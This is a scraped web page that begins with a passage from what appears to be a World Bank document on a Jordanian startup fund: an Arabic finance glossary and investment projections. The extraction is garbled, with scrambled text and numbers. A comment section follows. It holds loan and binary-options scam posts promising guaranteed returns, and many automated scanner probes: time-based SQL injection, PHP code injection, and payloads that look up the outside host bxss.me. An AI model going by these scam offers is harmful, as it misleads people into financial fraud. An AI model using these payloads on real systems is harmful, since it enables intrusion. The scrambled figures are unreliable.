األحيان يجتمع بعض األفراد ويتفقون على استثمار أموالهم في شركة معينة، وحينئذ يشار إليهم بشبكة رعاة األعمال. يقصد بهم األفراد الذين هاجروا من وطن أسالفهم إلى بلد آخر، ويتجه هؤالء إلى تكوين شبكات مهنية وثقافية المغتربون واجتماعية في البلد الجديد، وتسمى شبكات المغتربين. النظام البيئي الشامل لريادة األعمال يعرف النظام البيئي بأنه جماعة من الكائنات الحية والبيئة التي يعيشون فيها وسبل تفاعلهم باعتبارهم وحدة بيئية. وفي حالة ريادة األعمال، يشير النظام البيئي الشامل إلى األفراد أو المنظمات أو المؤسسات وبيئتهم التي يعملون ويعيشون فيها، سواء كانت تشجع الشخص أو تثبط عزيمته على خوض ريادة األعمال وسواء كانت تزيد احتمالية نجاحه عقب إطالق مشروعه أو غير ذلك. هي تحمل شخص مخاطرة ومسئولية تصميم استراتيجية تجارية وتنفيذها في بدء مشروعه الخاص، ويسمى ريادة األعمال هذا الشخص رائد أعمال. االستثمار في رأس المال هي األموال التي يستثمرها مالك أسهم عادية في شركة من الشركات دون استردادها خالل الدورة الطبيعية لعمل هذه الشركة، وإنما يستردها المستثمر فقط عندما يبيع حصته إلى مستثمرين آخرين، أو عندما تصفى أصول الشركة وتوزع إيراداتها بين مالكي األسهم وتسدد التزاماته. ويعرف هذا النوع من االستثمار أي ًضا بالمساهمة في رأس المال. حاضنات األعمال هي جهات تعمل وفق برامج لمساعدة الشركات الصغيرة على تحسين أدائها في مراحلها األولى، وتقدم الحاضنات خدمات مثل المقرات )بسعر مخفض عادة( وخدمات المكاتب مثل موظفي االستقبال وقاعات المؤتمرات وأجهزة الكمبيوتر والمعدات المكتبية وما إلى ذلك، عالوة على المشورة المتخصصة والتخطيط التجاري، وشبكات العالقات. تعرف أحدث نسخة من دليل أوسلو )النسخة الثالثة، 2005 )اإلبتكار بأنه إنتاج أو تحسين كبير لمنتج )سلعة اإلبتكار أو خدمة( أو عملية أو منهج تنظيمي إلدارة الممارسات التجارية أو تنظيم مكان العمل أو العالقات الخارجية0 رأس المال االستثماري األموال المستثمرة في أحد المشروعات التجارية بغرض الحصول على دخل، وتسترد من أرباح المشروع على مدار عدة أعوام. وتستخدم بوجه عام في نفقات رأس المال وليس في العمليات اليومية )رأس المال العامل( أو النفقات األخرى. برنامج رسمي للتدريب يقدمه رواد األعمال لجذب المستثمرين لمشاريعهم أو للتواصل مع المستثمرين الجاهزية لالستثمار المحتملين، ويقدم منفصال أو في إطار أحد معجالت األعمال. المعدل الداخلي للعائد مقياس متوسط العائد السنوي لالستثمارات، ويتكون من التدفقات السالبة )التدفقات النقدية الخارجة( والتدفقات الموجبة )التدفقات النقدية الداخلة(، وتستخدم في قياس معامالت األسهم الخاصة ومراقبة أدائها. شبه حقوق الملكية فئة من الديون غير المضمونة تأخذها شركة مرفقة بسندات حيازة أسهم )عادة ما تكون صكو ًكا أو خيارات اكتتاب في األسهم(، مما يزيد من قيمة الدين ومن مرونة السداد. ومن أمثلة شبه المساهمة في رأس المال الدين التابع والدين متوسط المخاطر. يعرف الدين التابع بأنه قرض أو سند ذو أولوية تقل عن السندات أو القروض ذات األولوية العالية مثل الديون الممتازة )بعدها مباشرة عادًة( من ناحية المطالبات المفروضة على أصول الشركة أو أرباحها. ويعرف الدين التابع أي ًضا باسم الضمان األدنى. وفي حالة عجز المدين عن البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 88 السداد، لن يحصل الدائنون المستحقون للدين التابع إال بعد سداد كافة مستحقات أصحاب الدين الممتاز. كثي ًرا ا يسمح ا مؤقتً ما يرتبط الدين متوسط المخاطر بصفقات الحيازة وشراء الشركات، حيث يمكن اعتباره دينً لشركة ما بشراء أصل أو ممارسة نشاط خالل فترة البحث عن تمويل أقل تكلفة وأطول مدى. فعلى سبيل ا متوسط المخاطر للوفاء بالتزاماتها، المثال، إذا احتاجت شركة أمواال لتنفيذ طلب معين، فستقترض دينً المدين، 33 وتبحث في الوقت نفسه عن خط ائتمان ذي سعر فائدة أقل وخيارات سداد أفضل. وفي حالة إفالس ا باه ًظ يحصل مالكو هذا الدين على مستح ا للغاية. قاتهم قبل مالكي األنواع األخرى، ويعتبر دينً الدين الممتاز هي القروض التي يتعين على الشركة سدادها أوال في حالة إفالسها. فإذا أفلست شركة ما، سيحصل مالكو ا ما يكونون حاملي أسهم أو بنوك( الذين أصدروا خط ائتمان متجدد على مستحقاتهم على ً الدين الممتاز )كثير األغلب، ويليهم مالكي الدين التابع وحاملي األسهم الممتازة واألسهم العادية. يضمن الدين الممتاز برهن يمكن دين ئدة مقارنة بغيره. ومع أن ً بيعه لسداد مستحقات الدائنين. ولهذا فهو يعتبر ا منخفض المخاطرة وسعر الفا الدائنين في هذا النوع هم أول من يحصلون على مستحقاتهم، فإنهم لن يحصلوا بالضرورة على المبلغ كامال إذا أفلس المدين في أسوأ األحوال. http://www.investopedia.com/terms/s/seniordebt.asp#ixzz4F3rAtvYW رأس المال المخاطر تمويل بداية المشروع أو النمو أو رأس المال السهمي أو رأس المال المقترض الذي يقدمه مستثمر خاص )رأسمالي مغامر( أو مؤسسات مالية متخصصة )هيئات تمويل التنمية أو شركات رأس المال المخاطر(. ويعرف أي ًضا برأس مال المجازفة. 33 http://budgeting.thenest.com/difference-between-mezzanine-debt- األول تشرين/ أكتوبر 20 في الموقع هذا زيارة تمت subordinated-debt-30054.html البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 89 ملحق رقم 8 .التنبؤات المالية الخاصة بالمشروع جدول رقم 8-1 .التنبؤات المالية الخاصة بالمشروع بناء على استراتيجية االستثمار المقترحة في وثيقة تقييم المشروع الفرضيات مبلغ القرض 50000000 فترة تنفيذ المشروع 6 سنوات رسوم القرض )المدفوعة مقدماً( 25.0 %من القرض 125000 معدل الفائدة 87.1% سداد القرض 20 سنة/ 6 سنوات سماح التكاليف اإلجمالية للمشروع إجمالي الست سنوات في السنة الواحدة 666.666.67 دوالر 4.000.000 المشروع إدارة وحدة دوالر دوالر 1.083.333.33 دوالر 6.500.000 الصفقات تدفق مكون دعم ما قبل وما بعد االستثمار 000.500.3 دوالر 33.333.583 دوالر رسوم القرض 000.125 دوالر السنة األولى السنة الثانية السنة الثالثة السنة الرابعة السنة الخامسة السنة السادسة التكاليف السنوية للمشروع 666.667 666.667 666.667 666.667 666.667 666.667 المشروع إدارة وحدة 1.083.333 1.083.333 1.083.333 1.083.333 1.083.333 1.083.333 الصفقات تدفق مكون 583.333 583.333 583.333 583.333 583.333 583.333 االستثمار بعد وما قبل ما دعم 0 0 0 0 0 125.000 القرض رسوم 0 0 0 0 0 0 الفائدة 2.333.333 2.333.333 2.333.333 2.333.333 2.333.333 2.458.333 اإلجمالي استثمار رأس المال الصناديق المتاحة لدعم االستثمار 000.000.50 دوالر )43 مليون من البنك الدولي و7 ماليين من الحكومة األردنية( % دوالر الرفع المالي المبلغ المخصص لالستثمار في مرحلة التأسيس 14 %000.7000 دوالر 1 المبلغ المخصص لالستثمار في المرحلة المبكرة 28 %000.000.14 دوالر 1.7 المبلغ المخصص لالستثمار في رأس المال المخاطر 48 %000.000.24 دوالر 1.4 5.000.000 %10 المباشرة االستثمارات دوالر 1.5 45.000.0000 %100 اإلجمالي مرحلة التأسيس المرحلة المبكرة رأس المال المخاطر االستثمارات المباشرة 10 40 70 80 االستثمارات عدد %25 %30 %25 %20 النجاح معدل 2.5 2.5 3 2.5 )المرات عدد )النجاح عائد %25 %30 %25 %20 البقاء معدل عائد البقاء )عدد المرات( 1 1 1 1 %50 %40 %50 %60 الفشل معدل عائد الفشل )عدد المرات( 0 0 0 0 السنة األولى السنة الثانية السنة الثالثة السنة الرابعة السنة الخامسة السنة السادسة 0.1 0.2 0.25 0.2 0.15 0.1 االستثمار إنفاق معدل 6.750.000 11.750.000 14.250.000 11.750.000 9.250.000 6.750.000 المشروع مصروفات استثمارات الحكومة األدرنية 700.000 1.400.000 1.750.000 1.400.000 1.050.000 700.000 التأسيس مرحلة 1.400.000 2.800.000 3.500.000 2.800.000 2.100.000 1.400.000 المبكرة المرحلة 2.400.000 4.800.000 6.000.000 4.800.000 3.600.000 2.400.000 المخاطر المال رأس 5.000.000 1.000.000 1.250.000 1.000.000 750.000 500.000 المباشرة االستثمارات 5.000.000 10.000.000 12.500.000 10.000.000 7.500.000 5.000.000 األدرنية الحكومة استثمارات إجمالي االستثمارات المشتركة المجمعة من القطاع الخاص 700.000 1.400.000 1.750.000 1.400.000 1.050.000 700.000 التأسيس مرحلة 2.380.000 4.760.000 5.950.000 4.760.000 3.570.000 2.380.000 المبكرة المرحلة 2.360.000 6.720.000 8.400.000 6.720.000 5.040.000 2.360.000 المخاطر المال رأس 750.000 1.500.000 1.875.000 1.500.000 1.125.000 750.000 المباشرة االستثمارات 7.190.000 14.380.000 17.975.000 14.380.000 10.785.0000 7.190.000 الخاص القطاع من المجمعة المشتركة االستثمارات إجمالي 12.190.000 24.380.000 30.475.000 24.380.000 18.285.000 12.190.000 االستثمارات إجمالي 1.400.000 2.800.000 3.500.000 2.800.000 2.100.000 1.400.000 التأسيس مرحلة 3.780.000 7.560.000 9.450.000 7.560.000 5.670.000 3.780.000 المبكرة المرحلة البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 90 5.760.000 11.520.000 14.400.000 11.520.000 8.640.000 5.760.000 المخاطر المال رأس 1.250.000 2.500.000 3.125.000 2.500.000 1.875.000 1.250.000 المباشرة االستثمارات عدد الشركات الحاصلة على رأس المال السنة األولى السنة الثانية السنة الثالثة السنة الرابعة السنة الخامسة السنة السادسة 8 16 20 16 12 8 التأسيس مرحلة 7 14 18 14 11 7 المبكرة المرحلة 4 8 10 8 6 4 المخاطر المال رأس 1 2 3 2 2 1 المباشرة االستثمارات 20 40 50 40 30 20 الشركات عدد إجمالي عمليات التخارج السنة السابعة السنة الثامنة السنة التاسعة السنة العاشرة السنة الحادية عشر السنة الثانية عشر قيمة حصة الحكومة األردنية في االستثمار 490.000 980.000 1.225.000 980.000 735.000 490.000 التأسيس مرحلة 1.225.000 2.450.000 3.062.500 2.450.000 1.837.000 1.225.000 المبكرة المرحلة 2.880.000 5.760.000 7.200.000 5.760.000 4.320.000 2.880.000 المخاطر المال رأس 437.500 875.000 1.093.750 875.000 656.250 437.500 المباشرة االستثمارات 4.595.0000 9.190.000 11.487.500 9.190.000 6.892.500 5.032.500 اإلجمالي قيمة استثمارات الحكومة األردنية عند التخارج 4.900.000 التأسيس مرحلة 12.250.000 المبكرة المرحلة رأس المال المخاطر 000.800.28 4.375.000 المباشرة االستثمارات 50.325.000 اإلجمالي

Agustin Rossetti

Tuesday, June 23, 2020

Promote your site without cost here!: https://bit.ly/zero-cost-ads

Clarita Barringer

Monday, June 22, 2020

EROTICA becomes REALITY!!! Stepping Stones to the ARCH De Pleasure Men, put your feet in James Pope’s shoes, women put your feet in the women’s shoes I encounter, as I traveled the road from farm-to-MATTRESONAME! Stepping Stones is my third novel in a 3, connected, series. 1- Post Hole Digger! 2-Trifecta! https://bit.ly/www-popejim-com “CLICK & VIEW videos. Search: amazon.com, title - author

GET WEBSITE TRAFFIC

Sunday, June 21, 2020

Hello Admin, YOU NEED QUALITY VISITORS for your: budget.gov.eg My name is Kristeen Wickham, and I'm a Web Traffic Specialist. I can get: - visitors from search engines - visitors from social media - visitors from any country you want - very low bounce rate & long visit duration CLAIM YOUR 24 HOURS FREE TEST => https://bit.ly/3gqLEoE Do not forget to read Review to convince you, is already being tested by many people who have trusted it !! الموازنة العامة للدولة

PutinMut

Saturday, June 20, 2020

Putin - sql training - https://www.youtube.com/c/ExcelStore excel training excel courses excel lessons sql training sql courses sql lessons

mr oscar

Friday, June 19, 2020

مرحبا، هل تواجه أي نوع من الصعوبات المالية؟ هل تحتاج إلى قرض لتسوية الديون الخاصة بك؟ هل ستزيد اموالك؟ هل أنت رجل أعمال يرغب في توسيع شركته. نشجعك هنا على الاتصال بالبطل الحقيقي ، والثقة ، وإقراض القرض الفعال لقرضك. أنا معروف من قبل الأفراد والحكومة على حد سواء بكفاءتنا الكبيرة. هذه شركة ائتمان سهلة. نحن نقدم قروض لأولئك الذين يرغبون في سعر فائدة 3 ٪ بأسعار معقولة. النطاق من $ 1،000 إلى الحد الأقصى $ 50،000،000.00. مراسلتنا عبر البريد الإلكتروني: ecofinance2020@gmail.com Whatsapp: +2347035513355 السيد أوسكار ecofinance2020@gmail.com

Tangela Chin

Tuesday, June 16, 2020

ABOLISH REACTIVE DEPRESSION AND EMERGE FROM ITS DEEP, DARK, BLACK HOLE? • Do you feel this came from the beginnings of a dysfunctional family system? • Or did this come from the loss of a beloved job or loved one? • Or did this come from dire effects from the disease of Alcoholism? • Or did this come from the brainwashing attempts of a fearful and angry world, i.e. terroristic recruitment? Do you know that whatever caused this DEEP, DARK, BLACK HOLE OF DEPRESSION which may have come from a NERVOUS BREAKDOWN can cease its influence over your life? Yes, you do not have to live buried in negative thinking from the defeat from negative life experiences in your life. Please know that any tragic experiences from childhood to adulthood need no longer affect your chance to gain emotional wellbeing. Instead, now you have the opportunity to be HAPPY and in PEACEFUL CONTROL OF YOUR OWN DESTINY with only the memory of what once ailed you. Now is the time to overcome depression and begin to take control over your life. Not only that, you alone have the opportunity to reverse negative thinking and achieve your very own POSITIVE BELIEF SYSTEM. PLEASE NOTE: Your views on spirituality or religion will not prevent you from successfully implementing your own PARENTAL SELF-LOVE PROCESS to ACHIEVE PURPOSE, MOTIVATION, GOOD SELF-ESTEEM, SUCCESS, AND MORE. Yes, like Lin Tillman did, you too can ACHIEVE MORE THAN YOU ASKED FOR and make meaningful and healthy contributions to this planet. You can learn more about Lin’s journey in her book The Invisible Girl & GOD, where she shares her TRUE STORY of how she healed herself from an agonizing depression with suicidal ideations. GO TO: https://bit.ly/Depression-self-help to learn more

Alexis

Monday, June 15, 2020

For newest news you have to pay a quick visit internet and on the web I found this site as a most excellent site for hottest updates. https://youbestkratom.buzz/cbd-oil-oregon-vets.html herbal kratom https://youbestkratom.buzz/cbd-oil-oregon-vets.html herbal kratom

bitcoin investment

Sunday, June 14, 2020

هل أنت مهتم بتداول الخيارات الثنائية ، واستثمر مع مدير حساب موثوق به واحصل على عائد ربح أفضل في 72 ساعة ، فمن الممكن أن تحصل على ما يصل إلى 32500 دولار أو أكثر في 7 أيام مع (شركة حقيقية ومرخصة) ، يمكنني مساعدتك في إدارة حسابك بحد أدنى 300 دولار أمريكي لضمان حصولك على 4500 دولارًا أمريكيًا في الأسبوع (7 أيام تداول) استثمر 500 دولار واحصل على 3500.00 دولارًا أسبوعيًا استثمر 1000 دولار واحصل على 7000.00 دولار أسبوعيًا استثمر 2000 دولار واحصل على 14000.00 دولار أسبوعيًا استثمر 3000 دولار واحصل على 21000.00 دولار أسبوعيًا استثمر 4000 دولار واحصل على 2800.00 دولارًا أسبوعيًا استثمر 5000 دولار واحصل على 35000.00 دولارًا أسبوعيًا كل الأرباح الأسبوعية مضمونة 100٪. (الدفع مضمون) إذا كنت مهتمًا باختيار خطة مناسبة لنفسك والبريد الإلكتروني: tradewitcarlos2156@gmail.com أو whatsapp +15022064419 حتى نتمكن من البدء معك

bitcoin investment

Sunday, June 14, 2020

هل أنت مهتم بتداول الخيارات الثنائية ، واستثمر مع مدير حساب موثوق به واحصل على عائد ربح أفضل في 72 ساعة ، فمن الممكن أن تحصل على ما يصل إلى 32500 دولار أو أكثر في 7 أيام مع (شركة حقيقية ومرخصة) ، يمكنني مساعدتك في إدارة حسابك بحد أدنى 300 دولار أمريكي لضمان حصولك على 4500 دولارًا أمريكيًا في الأسبوع (7 أيام تداول) استثمر 500 دولار واحصل على 3500.00 دولارًا أسبوعيًا استثمر 1000 دولار واحصل على 7000.00 دولار أسبوعيًا استثمر 2000 دولار واحصل على 14000.00 دولار أسبوعيًا استثمر 3000 دولار واحصل على 21000.00 دولار أسبوعيًا استثمر 4000 دولار واحصل على 2800.00 دولارًا أسبوعيًا استثمر 5000 دولار واحصل على 35000.00 دولارًا أسبوعيًا كل الأرباح الأسبوعية مضمونة 100٪. (الدفع مضمون) إذا كنت مهتمًا باختيار خطة مناسبة لنفسك والبريد الإلكتروني: tradewitcarlos2156@gmail.com أو whatsapp +15022064419 حتى نتمكن من البدء معك

Jeremiah Medlin

Sunday, June 14, 2020

Linkbuilding Company selling links in sponsored content, press releases with dofollow links that will make your business take off in Google. Thousands of sites categorized by country. Sites with high SEO metrics and high traffic, get relevance for your website thanks to this way of making linkbuilding. Visit our site https://bit.ly/purolink

mr scott

Sunday, June 14, 2020

يوم جيد، هل تواجه أي نوع من الصعوبات المالية؟ هل تحتاج إلى قرض لتسوية الديون الخاصة بك؟ هل ستزيد اموالك؟ هل أنت رجل أعمال يرغب في توسيع شركته. نشجعك هنا على الاتصال بالبطل الحقيقي ، والثقة ، وإقراض القرض الفعال لقرضك. أنا معروف من قبل كل من الأفراد والحكومة لكفاءتنا الكبيرة. الخدمات تشمل: * قروض شخصية * قروض الأعمال * تجديد * قروض العملاء * قروض السيارات الخ .. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com Whatsapp: +79258159150 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. بإخلاص، السيد سكوت accessloanfirm2030@gmail.com

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

kClNFbi1')); waitfor delay '0:0:12' --

Sunday, June 14, 2020

555

Ms2uhF5Q'); waitfor delay '0:0:12' --

Sunday, June 14, 2020

555

bz4QInB2'; waitfor delay '0:0:12' --

Sunday, June 14, 2020

555

1 waitfor delay '0:0:12' --

Sunday, June 14, 2020

555

if(now()=sysdate(),sleep(12),0)

Sunday, June 14, 2020

555

873'

Sunday, June 14, 2020

555

-1" OR 3*2>(0+5+66-66) --

Sunday, June 14, 2020

555

-1" OR 3*2<(0+5+66-66) --

Sunday, June 14, 2020

555

-1" OR 3+66-66-1=0+0+0+1 --

Sunday, June 14, 2020

555

-1" OR 2+66-66-1=0+0+0+1 --

Sunday, June 14, 2020

555

-1' OR 3*2>(0+5+228-228) or 'AWwAypfe'='

Sunday, June 14, 2020

555

-1' OR 3*2<(0+5+228-228) or 'AWwAypfe'='

Sunday, June 14, 2020

555

-1' OR 3+228-228-1=0+0+0+1 or 'AWwAypfe'='

Sunday, June 14, 2020

555

-1' OR 2+228-228-1=0+0+0+1 or 'AWwAypfe'='

Sunday, June 14, 2020

555

-1' OR 3*2>(0+5+258-258) --

Sunday, June 14, 2020

555

-1' OR 3*2<(0+5+258-258) --

Sunday, June 14, 2020

555

-1' OR 3+258-258-1=0+0+0+1 --

Sunday, June 14, 2020

555

-1' OR 2+258-258-1=0+0+0+1 --

Sunday, June 14, 2020

555

-1 OR 3*2>(0+5+543-543)

Sunday, June 14, 2020

555

-1 OR 3*2<(0+5+543-543)

Sunday, June 14, 2020

555

-1 OR 3+543-543-1=0+0+0+1

Sunday, June 14, 2020

555

-1 OR 2+543-543-1=0+0+0+1

Sunday, June 14, 2020

555

-1 OR 3*2>(0+5+60-60) --

Sunday, June 14, 2020

555

-1 OR 3*2<(0+5+60-60) --

Sunday, June 14, 2020

555

-1 OR 3+60-60-1=0+0+0+1 --

Sunday, June 14, 2020

555

-1 OR 2+60-60-1=0+0+0+1 --

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'

CpjJwWHV

Sunday, June 14, 2020

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)

CpjJwWHV

Sunday, June 14, 2020

2ptOs32Y')) OR 172=(SELECT 172 FROM PG_SLEEP(12))--

CpjJwWHV

Sunday, June 14, 2020

SAFPDjvE') OR 529=(SELECT 529 FROM PG_SLEEP(12))--

CpjJwWHV

Sunday, June 14, 2020

QGxCMvsn' OR 227=(SELECT 227 FROM PG_SLEEP(12))--

CpjJwWHV

Sunday, June 14, 2020

-1)) OR 306=(SELECT 306 FROM PG_SLEEP(12))--

CpjJwWHV

Sunday, June 14, 2020

-5) OR 793=(SELECT 793 FROM PG_SLEEP(12))--

CpjJwWHV

Sunday, June 14, 2020

-5 OR 918=(SELECT 918 FROM PG_SLEEP(12))--

CpjJwWHV

Sunday, June 14, 2020

ca3sSQof')); waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

5RRhlRrz'); waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

p7ux4VDP'; waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

1 waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

-1)); waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

-1); waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

-1; waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/

CpjJwWHV

Sunday, June 14, 2020

0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z

CpjJwWHV

Sunday, June 14, 2020

0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z

CpjJwWHV

Sunday, June 14, 2020

if(now()=sysdate(),sleep(12),0)

CpjJwWHV

Sunday, June 14, 2020

431'

CpjJwWHV

Sunday, June 14, 2020

-1" OR 3*2>(0+5+712-712) --

CpjJwWHV

Sunday, June 14, 2020

-1" OR 3*2<(0+5+712-712) --

CpjJwWHV

Sunday, June 14, 2020

-1" OR 3+712-712-1=0+0+0+1 --

CpjJwWHV

Sunday, June 14, 2020

-1" OR 2+712-712-1=0+0+0+1 --

CpjJwWHV

Sunday, June 14, 2020

-1' OR 3*2>(0+5+991-991) or 'LPcQl2mb'='

CpjJwWHV

Sunday, June 14, 2020

-1' OR 3*2<(0+5+991-991) or 'LPcQl2mb'='

CpjJwWHV9199636

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1' OR 3+991-991-1=0+0+0+1 or 'LPcQl2mb'='

CpjJwWHV

Sunday, June 14, 2020

-1' OR 2+991-991-1=0+0+0+1 or 'LPcQl2mb'='

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1' OR 3*2>(0+5+977-977) --

'"

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

5559557908

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

'"

CpjJwWHV

Sunday, June 14, 2020

-1' OR 3*2<(0+5+977-977) --

'.print(md5(31337)).'

Sunday, June 14, 2020

555

Create/.

Sunday, June 14, 2020

555

/xfs.bxss.me

Sunday, June 14, 2020

555

${@print(md5(31337))}\

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

Create

Sunday, June 14, 2020

555

${@print(md5(31337))}

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

/xfs.bxss.me

";print(md5(31337));$a="

Sunday, June 14, 2020

555

Create

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1' OR 3+977-977-1=0+0+0+1 --

';print(md5(31337));$a='

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

;print(md5(31337));

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

bxss.me/t/xss.html?%00

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

Create/.

CpjJwWHV

Sunday, June 14, 2020

'+'A'.concat(70-3).concat(22*4).concat(113).concat(78).concat(109).concat(74)+(require'socket' Socket.gethostbyname('hitzl'+'sexjbwal6ac60.bxss.me.')[3].to_s)+'

CpjJwWHV

Sunday, June 14, 2020

555

HttP://bxss.me/t/xss.html?%00

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

Create

CpjJwWHV

Sunday, June 14, 2020

-1' OR 2+977-977-1=0+0+0+1 --

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

Create

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

"+"A".concat(70-3).concat(22*4).concat(111).concat(71).concat(120).concat(65)+(require"socket" Socket.gethostbyname("hitcr"+"mcbphctedfe2a.bxss.me.")[3].to_s)+"

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

bxss.me/t/xss.html?%00

CpjJwWHV

Sunday, June 14, 2020

'.print(md5(31337)).'

CpjJwWHV

Sunday, June 14, 2020

HttP://bxss.me/t/xss.html?%00

CpjJwWHV

Sunday, June 14, 2020

${@print(md5(31337))}\

CpjJwWHV

Sunday, June 14, 2020

-1 OR 3*2>(0+5+638-638)

CpjJwWHV

Sunday, June 14, 2020

${@print(md5(31337))}

CpjJwWHV

Sunday, June 14, 2020

";print(md5(31337));$a="

Y3RpbWUKc2xlZXAKcDAKKEkzMAp0cDEKUnAyCi4=

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

';print(md5(31337));$a='

CpjJwWHV

Sunday, June 14, 2020

;print(md5(31337));

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1 OR 3*2<(0+5+638-638)

CpjJwWHV&n917717=v951672

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

bxss.me

Sunday, June 14, 2020

555

http://bxss.me/t/fit.txt?.jpg

Sunday, June 14, 2020

555

^(#$!@#$)(()))******

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1 OR 3+638-638-1=0+0+0+1

!(()&&!|*|*|

Sunday, June 14, 2020

555

Http://bxss.me/t/fit.txt

Sunday, June 14, 2020

555

'"()

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

".gethostbyname(lc("hitoj"."drlgihml08599.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(86).chr(116).chr(71)."

1some_inexistent_file_with_long_name.jpg

Sunday, June 14, 2020

555

)

Sunday, June 14, 2020

555

sample@email.tst

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

'.gethostbyname(lc('hitel'.'hzkbxvlk953ec.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(65).chr(118).chr(79).'

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

'"()

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

^(#$!@#$)(()))******

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

!(()&&!|*|*|

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1 OR 2+638-638-1=0+0+0+1

CpjJwWHV

Sunday, June 14, 2020

)

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

bxss.me

CpjJwWHV

Sunday, June 14, 2020

555&n992028=v983746

CpjJwWHV

